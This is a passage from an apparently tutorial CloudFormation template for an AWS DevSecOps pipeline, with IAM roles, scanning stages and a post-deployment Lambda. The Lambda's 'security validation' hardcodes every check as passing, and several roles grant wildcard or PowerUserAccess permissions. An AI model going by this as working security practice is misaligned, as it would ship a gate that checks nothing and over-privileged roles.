      <span class="na">Policies</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">PolicyName</span><span class="pi">:</span> <span class="s">PipelineExecutionPolicy</span>
          <span class="na">PolicyDocument</span><span class="pi">:</span>
            <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2012-10-17'</span>
            <span class="na">Statement</span><span class="pi">:</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">s3:GetBucketVersioning</span>
                  <span class="pi">-</span> <span class="s">s3:GetObject</span>
                  <span class="pi">-</span> <span class="s">s3:GetObjectVersion</span>
                  <span class="pi">-</span> <span class="s">s3:PutObject</span>
                <span class="na">Resource</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${ArtifactStore}/*'</span>
                  <span class="pi">-</span> <span class="kt">!GetAtt</span> <span class="s">ArtifactStore.Arn</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">codecommit:GetBranch</span>
                  <span class="pi">-</span> <span class="s">codecommit:GetCommit</span>
                  <span class="pi">-</span> <span class="s">codecommit:ListBranches</span>
                  <span class="pi">-</span> <span class="s">codecommit:ListRepositories</span>
                <span class="na">Resource</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">SecureRepository.Arn</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">codebuild:BatchGetBuilds</span>
                  <span class="pi">-</span> <span class="s">codebuild:StartBuild</span>
                <span class="na">Resource</span><span class="pi">:</span> <span class="s1">'</span><span class="s">*'</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">cloudformation:CreateStack</span>
                  <span class="pi">-</span> <span class="s">cloudformation:DeleteStack</span>
                  <span class="pi">-</span> <span class="s">cloudformation:DescribeStacks</span>
                  <span class="pi">-</span> <span class="s">cloudformation:UpdateStack</span>
                  <span class="pi">-</span> <span class="s">cloudformation:CreateChangeSet</span>
                  <span class="pi">-</span> <span class="s">cloudformation:DeleteChangeSet</span>
                  <span class="pi">-</span> <span class="s">cloudformation:DescribeChangeSet</span>
                  <span class="pi">-</span> <span class="s">cloudformation:ExecuteChangeSet</span>
                <span class="na">Resource</span><span class="pi">:</span> <span class="s1">'</span><span class="s">*'</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">iam:PassRole</span>
                <span class="na">Resource</span><span class="pi">:</span> <span class="s1">'</span><span class="s">*'</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">lambda:InvokeFunction</span>
                <span class="na">Resource</span><span class="pi">:</span> <span class="s1">'</span><span class="s">*'</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">kms:Decrypt</span>
                  <span class="pi">-</span> <span class="s">kms:GenerateDataKey</span>
                <span class="na">Resource</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">PipelineKMSKey.Arn</span>

  <span class="c1"># IAM Role for CodeBuild</span>
  <span class="na">CodeBuildRole</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::IAM::Role</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">RoleName</span><span class="pi">:</span> <span class="s">DevSecOps-CodeBuild-Role</span>
      <span class="na">AssumeRolePolicyDocument</span><span class="pi">:</span>
        <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2012-10-17'</span>
        <span class="na">Statement</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
            <span class="na">Principal</span><span class="pi">:</span>
              <span class="na">Service</span><span class="pi">:</span> <span class="s">codebuild.amazonaws.com</span>
            <span class="na">Action</span><span class="pi">:</span> <span class="s">sts:AssumeRole</span>
      <span class="na">Policies</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">PolicyName</span><span class="pi">:</span> <span class="s">BuildExecutionPolicy</span>
          <span class="na">PolicyDocument</span><span class="pi">:</span>
            <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2012-10-17'</span>
            <span class="na">Statement</span><span class="pi">:</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">logs:CreateLogGroup</span>
                  <span class="pi">-</span> <span class="s">logs:CreateLogStream</span>
                  <span class="pi">-</span> <span class="s">logs:PutLogEvents</span>
                <span class="na">Resource</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">arn:aws:logs:${AWS::Region}:${AWS::AccountId}:*'</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">s3:GetObject</span>
                  <span class="pi">-</span> <span class="s">s3:GetObjectVersion</span>
                  <span class="pi">-</span> <span class="s">s3:PutObject</span>
                <span class="na">Resource</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${ArtifactStore}/*'</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">ecr:BatchCheckLayerAvailability</span>
                  <span class="pi">-</span> <span class="s">ecr:GetDownloadUrlForLayer</span>
                  <span class="pi">-</span> <span class="s">ecr:BatchGetImage</span>
                  <span class="pi">-</span> <span class="s">ecr:GetAuthorizationToken</span>
                  <span class="pi">-</span> <span class="s">ecr:PutImage</span>
                  <span class="pi">-</span> <span class="s">ecr:InitiateLayerUpload</span>
                  <span class="pi">-</span> <span class="s">ecr:UploadLayerPart</span>
                  <span class="pi">-</span> <span class="s">ecr:CompleteLayerUpload</span>
                <span class="na">Resource</span><span class="pi">:</span> <span class="s1">'</span><span class="s">*'</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">securityhub:BatchImportFindings</span>
                  <span class="pi">-</span> <span class="s">securityhub:CreateInsight</span>
                  <span class="pi">-</span> <span class="s">securityhub:GetFindings</span>
                <span class="na">Resource</span><span class="pi">:</span> <span class="s1">'</span><span class="s">*'</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">inspector2:GetFindings</span>
                  <span class="pi">-</span> <span class="s">inspector2:ListFindings</span>
                <span class="na">Resource</span><span class="pi">:</span> <span class="s1">'</span><span class="s">*'</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">sns:Publish</span>
                <span class="na">Resource</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">SecurityAlertsTopic</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">config:GetComplianceDetailsByConfigRule</span>
                  <span class="pi">-</span> <span class="s">config:GetComplianceSummaryByConfigRule</span>
                  <span class="pi">-</span> <span class="s">config:DescribeConfigRules</span>
                <span class="na">Resource</span><span class="pi">:</span> <span class="s1">'</span><span class="s">*'</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">kms:Decrypt</span>
                  <span class="pi">-</span> <span class="s">kms:GenerateDataKey</span>
                <span class="na">Resource</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">PipelineKMSKey.Arn</span>

  <span class="c1"># DevSecOps Pipeline</span>
  <span class="na">DevSecOpsPipeline</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::CodePipeline::Pipeline</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${RepositoryName}-devsecops-pipeline'</span>
      <span class="na">RoleArn</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">CodePipelineRole.Arn</span>
      <span class="na">ArtifactStore</span><span class="pi">:</span>
        <span class="na">Type</span><span class="pi">:</span> <span class="s">S3</span>
        <span class="na">Location</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">ArtifactStore</span>
        <span class="na">EncryptionKey</span><span class="pi">:</span>
          <span class="na">Id</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">PipelineKMSKey.Arn</span>
          <span class="na">Type</span><span class="pi">:</span> <span class="s">KMS</span>
      <span class="na">Stages</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">Source</span>
          <span class="na">Actions</span><span class="pi">:</span>
            <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">SourceAction</span>
              <span class="na">ActionTypeId</span><span class="pi">:</span>
                <span class="na">Category</span><span class="pi">:</span> <span class="s">Source</span>
                <span class="na">Owner</span><span class="pi">:</span> <span class="s">AWS</span>
                <span class="na">Provider</span><span class="pi">:</span> <span class="s">CodeCommit</span>
                <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">1'</span>
              <span class="na">Configuration</span><span class="pi">:</span>
                <span class="na">RepositoryName</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">SecureRepository.Name</span>
                <span class="na">BranchName</span><span class="pi">:</span> <span class="s">main</span>
                <span class="na">PollForSourceChanges</span><span class="pi">:</span> <span class="kc">false</span>
              <span class="na">OutputArtifacts</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">SourceOutput</span>

        <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">SecurityAnalysis</span>
          <span class="na">Actions</span><span class="pi">:</span>
            <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">SecretScanning</span>
              <span class="na">ActionTypeId</span><span class="pi">:</span>
                <span class="na">Category</span><span class="pi">:</span> <span class="s">Build</span>
                <span class="na">Owner</span><span class="pi">:</span> <span class="s">AWS</span>
                <span class="na">Provider</span><span class="pi">:</span> <span class="s">CodeBuild</span>
                <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">1'</span>
              <span class="na">Configuration</span><span class="pi">:</span>
                <span class="na">ProjectName</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">SecretScanningProject</span>
              <span class="na">InputArtifacts</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">SourceOutput</span>
              <span class="na">OutputArtifacts</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">SecretScanOutput</span>
              <span class="na">RunOrder</span><span class="pi">:</span> <span class="m">1</span>

            <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">DependencyScanning</span>
              <span class="na">ActionTypeId</span><span class="pi">:</span>
                <span class="na">Category</span><span class="pi">:</span> <span class="s">Build</span>
                <span class="na">Owner</span><span class="pi">:</span> <span class="s">AWS</span>
                <span class="na">Provider</span><span class="pi">:</span> <span class="s">CodeBuild</span>
                <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">1'</span>
              <span class="na">Configuration</span><span class="pi">:</span>
                <span class="na">ProjectName</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">DependencyScanningProject</span>
              <span class="na">InputArtifacts</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">SourceOutput</span>
              <span class="na">OutputArtifacts</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">DependencyScanOutput</span>
              <span class="na">RunOrder</span><span class="pi">:</span> <span class="m">1</span>

            <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">SASTAnalysis</span>
              <span class="na">ActionTypeId</span><span class="pi">:</span>
                <span class="na">Category</span><span class="pi">:</span> <span class="s">Build</span>
                <span class="na">Owner</span><span class="pi">:</span> <span class="s">AWS</span>
                <span class="na">Provider</span><span class="pi">:</span> <span class="s">CodeBuild</span>
                <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">1'</span>
              <span class="na">Configuration</span><span class="pi">:</span>
                <span class="na">ProjectName</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">SASTAnalysisProject</span>
              <span class="na">InputArtifacts</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">SourceOutput</span>
              <span class="na">OutputArtifacts</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">SASTOutput</span>
              <span class="na">RunOrder</span><span class="pi">:</span> <span class="m">2</span>

        <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">Build</span>
          <span class="na">Actions</span><span class="pi">:</span>
            <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">BuildApplication</span>
              <span class="na">ActionTypeId</span><span class="pi">:</span>
                <span class="na">Category</span><span class="pi">:</span> <span class="s">Build</span>
                <span class="na">Owner</span><span class="pi">:</span> <span class="s">AWS</span>
                <span class="na">Provider</span><span class="pi">:</span> <span class="s">CodeBuild</span>
                <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">1'</span>
              <span class="na">Configuration</span><span class="pi">:</span>
                <span class="na">ProjectName</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">SecureBuildProject</span>
              <span class="na">InputArtifacts</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">SourceOutput</span>
              <span class="na">OutputArtifacts</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">BuildOutput</span>
              <span class="na">RunOrder</span><span class="pi">:</span> <span class="m">1</span>

            <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">ContainerScanning</span>
              <span class="na">ActionTypeId</span><span class="pi">:</span>
                <span class="na">Category</span><span class="pi">:</span> <span class="s">Build</span>
                <span class="na">Owner</span><span class="pi">:</span> <span class="s">AWS</span>
                <span class="na">Provider</span><span class="pi">:</span> <span class="s">CodeBuild</span>
                <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">1'</span>
              <span class="na">Configuration</span><span class="pi">:</span>
                <span class="na">ProjectName</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">ContainerScanningProject</span>
              <span class="na">InputArtifacts</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">BuildOutput</span>
              <span class="na">OutputArtifacts</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">ContainerScanOutput</span>
              <span class="na">RunOrder</span><span class="pi">:</span> <span class="m">2</span>

        <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">SecurityTesting</span>
          <span class="na">Actions</span><span class="pi">:</span>
            <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">DASTTesting</span>
              <span class="na">ActionTypeId</span><span class="pi">:</span>
                <span class="na">Category</span><span class="pi">:</span> <span class="s">Build</span>
                <span class="na">Owner</span><span class="pi">:</span> <span class="s">AWS</span>
                <span class="na">Provider</span><span class="pi">:</span> <span class="s">CodeBuild</span>
                <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">1'</span>
              <span class="na">Configuration</span><span class="pi">:</span>
                <span class="na">ProjectName</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">DASTTestingProject</span>
              <span class="na">InputArtifacts</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">BuildOutput</span>
              <span class="na">OutputArtifacts</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">DASTOutput</span>
              <span class="na">RunOrder</span><span class="pi">:</span> <span class="m">1</span>

            <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">InfrastructureScanning</span>
              <span class="na">ActionTypeId</span><span class="pi">:</span>
                <span class="na">Category</span><span class="pi">:</span> <span class="s">Build</span>
                <span class="na">Owner</span><span class="pi">:</span> <span class="s">AWS</span>
                <span class="na">Provider</span><span class="pi">:</span> <span class="s">CodeBuild</span>
                <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">1'</span>
              <span class="na">Configuration</span><span class="pi">:</span>
                <span class="na">ProjectName</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">InfrastructureScanningProject</span>
              <span class="na">InputArtifacts</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">BuildOutput</span>
              <span class="na">OutputArtifacts</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">InfraScanOutput</span>
              <span class="na">RunOrder</span><span class="pi">:</span> <span class="m">1</span>

            <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">ComplianceValidation</span>
              <span class="na">ActionTypeId</span><span class="pi">:</span>
                <span class="na">Category</span><span class="pi">:</span> <span class="s">Build</span>
                <span class="na">Owner</span><span class="pi">:</span> <span class="s">AWS</span>
                <span class="na">Provider</span><span class="pi">:</span> <span class="s">CodeBuild</span>
                <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">1'</span>
              <span class="na">Configuration</span><span class="pi">:</span>
                <span class="na">ProjectName</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">ComplianceValidationProject</span>
              <span class="na">InputArtifacts</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">BuildOutput</span>
              <span class="na">OutputArtifacts</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">ComplianceOutput</span>
              <span class="na">RunOrder</span><span class="pi">:</span> <span class="m">2</span>

        <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">Deploy</span>
          <span class="na">Actions</span><span class="pi">:</span>
            <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">DeployToStaging</span>
              <span class="na">ActionTypeId</span><span class="pi">:</span>
                <span class="na">Category</span><span class="pi">:</span> <span class="s">Deploy</span>
                <span class="na">Owner</span><span class="pi">:</span> <span class="s">AWS</span>
                <span class="na">Provider</span><span class="pi">:</span> <span class="s">CloudFormation</span>
                <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">1'</span>
              <span class="na">Configuration</span><span class="pi">:</span>
                <span class="na">ActionMode</span><span class="pi">:</span> <span class="s">CREATE_UPDATE</span>
                <span class="na">StackName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${RepositoryName}-staging-stack'</span>
                <span class="na">TemplatePath</span><span class="pi">:</span> <span class="s">BuildOutput::deployment-template.yaml</span>
                <span class="na">Capabilities</span><span class="pi">:</span> <span class="s">CAPABILITY_IAM,CAPABILITY_NAMED_IAM</span>
                <span class="na">RoleArn</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">CloudFormationRole.Arn</span>
              <span class="na">InputArtifacts</span><span class="pi">:</span>
                <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">BuildOutput</span>
              <span class="na">RunOrder</span><span class="pi">:</span> <span class="m">1</span>

            <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">SecurityValidation</span>
              <span class="na">ActionTypeId</span><span class="pi">:</span>
                <span class="na">Category</span><span class="pi">:</span> <span class="s">Invoke</span>
                <span class="na">Owner</span><span class="pi">:</span> <span class="s">AWS</span>
                <span class="na">Provider</span><span class="pi">:</span> <span class="s">Lambda</span>
                <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">1'</span>
              <span class="na">Configuration</span><span class="pi">:</span>
                <span class="na">FunctionName</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">SecurityValidationFunction</span>
              <span class="na">RunOrder</span><span class="pi">:</span> <span class="m">2</span>

  <span class="c1"># CodeBuild Projects (references to projects defined earlier)</span>
  <span class="na">SecretScanningProject</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::CodeBuild::Project</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${RepositoryName}-secret-scanning'</span>
      <span class="na">ServiceRole</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">CodeBuildRole.Arn</span>
      <span class="na">Artifacts</span><span class="pi">:</span>
        <span class="na">Type</span><span class="pi">:</span> <span class="s">CODEPIPELINE</span>
      <span class="na">Environment</span><span class="pi">:</span>
        <span class="na">Type</span><span class="pi">:</span> <span class="s">LINUX_CONTAINER</span>
        <span class="na">ComputeType</span><span class="pi">:</span> <span class="s">BUILD_GENERAL1_MEDIUM</span>
        <span class="na">Image</span><span class="pi">:</span> <span class="s">aws/codebuild/amazonlinux2-x86_64-standard:3.0</span>
      <span class="na">Source</span><span class="pi">:</span>
        <span class="na">Type</span><span class="pi">:</span> <span class="s">CODEPIPELINE</span>
        <span class="na">BuildSpec</span><span class="pi">:</span> <span class="pi">|</span>
          <span class="s">version: 0.2</span>
          <span class="s">phases:</span>
            <span class="s">install:</span>
              <span class="s">runtime-versions:</span>
                <span class="s">python: 3.9</span>
              <span class="s">commands:</span>
                <span class="s">- pip install truffleHog3 detect-secrets</span>
            <span class="s">build:</span>
              <span class="s">commands:</span>
                <span class="s">- echo "Running secret scanning..."</span>
                <span class="s">- trufflehog3 --format json --output secret_scan_results.json .</span>
          <span class="s">artifacts:</span>
            <span class="s">files:</span>
              <span class="s">- secret_scan_results.json</span>

  <span class="c1"># Additional CodeBuild projects would be defined similarly...</span>
  <span class="na">DependencyScanningProject</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::CodeBuild::Project</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${RepositoryName}-dependency-scanning'</span>
      <span class="na">ServiceRole</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">CodeBuildRole.Arn</span>
      <span class="na">Artifacts</span><span class="pi">:</span>
        <span class="na">Type</span><span class="pi">:</span> <span class="s">CODEPIPELINE</span>
      <span class="na">Environment</span><span class="pi">:</span>
        <span class="na">Type</span><span class="pi">:</span> <span class="s">LINUX_CONTAINER</span>
        <span class="na">ComputeType</span><span class="pi">:</span> <span class="s">BUILD_GENERAL1_MEDIUM</span>
        <span class="na">Image</span><span class="pi">:</span> <span class="s">aws/codebuild/amazonlinux2-x86_64-standard:3.0</span>
      <span class="na">Source</span><span class="pi">:</span>
        <span class="na">Type</span><span class="pi">:</span> <span class="s">CODEPIPELINE</span>
        <span class="na">BuildSpec</span><span class="pi">:</span> <span class="pi">|</span>
          <span class="s">version: 0.2</span>
          <span class="s">phases:</span>
            <span class="s">install:</span>
              <span class="s">commands:</span>
                <span class="s">- pip install safety</span>
            <span class="s">build:</span>
              <span class="s">commands:</span>
                <span class="s">- echo "Running dependency scanning..."</span>
                <span class="s">- safety check --json --output dependency_scan_results.json</span>
          <span class="s">artifacts:</span>
            <span class="s">files:</span>
              <span class="s">- dependency_scan_results.json</span>

  <span class="c1"># CloudFormation role for deployments</span>
  <span class="na">CloudFormationRole</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::IAM::Role</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">RoleName</span><span class="pi">:</span> <span class="s">DevSecOps-CloudFormation-Role</span>
      <span class="na">AssumeRolePolicyDocument</span><span class="pi">:</span>
        <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2012-10-17'</span>
        <span class="na">Statement</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
            <span class="na">Principal</span><span class="pi">:</span>
              <span class="na">Service</span><span class="pi">:</span> <span class="s">cloudformation.amazonaws.com</span>
            <span class="na">Action</span><span class="pi">:</span> <span class="s">sts:AssumeRole</span>
      <span class="na">ManagedPolicyArns</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="s">arn:aws:iam::aws:policy/PowerUserAccess</span>

  <span class="c1"># Lambda function for security validation</span>
  <span class="na">SecurityValidationFunction</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::Lambda::Function</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">FunctionName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${RepositoryName}-security-validation'</span>
      <span class="na">Runtime</span><span class="pi">:</span> <span class="s">python3.9</span>
      <span class="na">Handler</span><span class="pi">:</span> <span class="s">index.lambda_handler</span>
      <span class="na">Role</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">SecurityValidationRole.Arn</span>
      <span class="na">Code</span><span class="pi">:</span>
        <span class="na">ZipFile</span><span class="pi">:</span> <span class="pi">|</span>
          <span class="s">import json</span>
          <span class="s">import boto3</span>
          
          <span class="s">def lambda_handler(event, context):</span>
              <span class="s"># Perform post-deployment security validation</span>
              <span class="s">print("Running security validation...")</span>
          <span class="no">    </span>
              <span class="s"># Example validation checks</span>
              <span class="s">validation_results = {</span>
                  <span class="s">'ssl_certificate_valid': True,</span>
                  <span class="s">'security_headers_present': True,</span>
                  <span class="s">'no_public_s3_buckets': True,</span>
                  <span class="s">'encryption_enabled': True</span>
              <span class="s">}</span>
          <span class="no">    </span>
              <span class="s"># Fail if any validation fails</span>
              <span class="s">if not all(validation_results.values()):</span>
                  <span class="s">raise Exception("Security validation failed")</span>
          <span class="no">    </span>
              <span class="s">return {</span>
                  <span class="s">'statusCode': 200,</span>
                  <span class="s">'body': json.dumps('Security validation passed')</span>
              <span class="s">}</span>

  <span class="na">SecurityValidationRole</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::IAM::Role</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">AssumeRolePolicyDocument</span><span class="pi">:</span>
        <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2012-10-17'</span>
        <span class="na">Statement</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
            <span class="na">Principal</span><span class="pi">:</span>
              <span class="na">Service</span><span class="pi">:</span> <span class="s">lambda.amazonaws.com</span>
            <span class="na">Action</span><span class="pi">:</span> <span class="s">sts:AssumeRole</span>
      <span class="na">ManagedPolicyArns</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="s">arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole</span>
      <span class="na">Policies</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">PolicyName</span><span class="pi">:</span> <span class="s">SecurityValidationPolicy</span>
          <span class="na">PolicyDocument</span><span class="pi">:</span>
            <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2012-10-17'</span>
            <span class="na">Statement</span><span class="pi">:</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">s3:GetBucketPolicy</span>
                  <span class="pi">-</span> <span class="s">s3:GetBucketAcl</span>
                  <span class="pi">-</span> <span class="s">ec2:DescribeInstances</span>
                  <span class="pi">-</span> <span class="s">cloudformation:DescribeStacks</span>
                <span class="na">Resource</span><span class="pi">:</span> <span class="s1">'</span><span class="s">*'</span>

  <span class="c1"># CloudWatch Event Rule for pipeline trigger</span>
  <span class="na">PipelineTriggerRule</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::Events::Rule</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">Description</span><span class="pi">:</span> <span class="s">Trigger DevSecOps pipeline on code commit</span>
      <span class="na">EventPattern</span><span class="pi">:</span>
        <span class="na">source</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="s">aws.codecommit</span>
        <span class="na">detail-type</span><span class="pi">:</span>
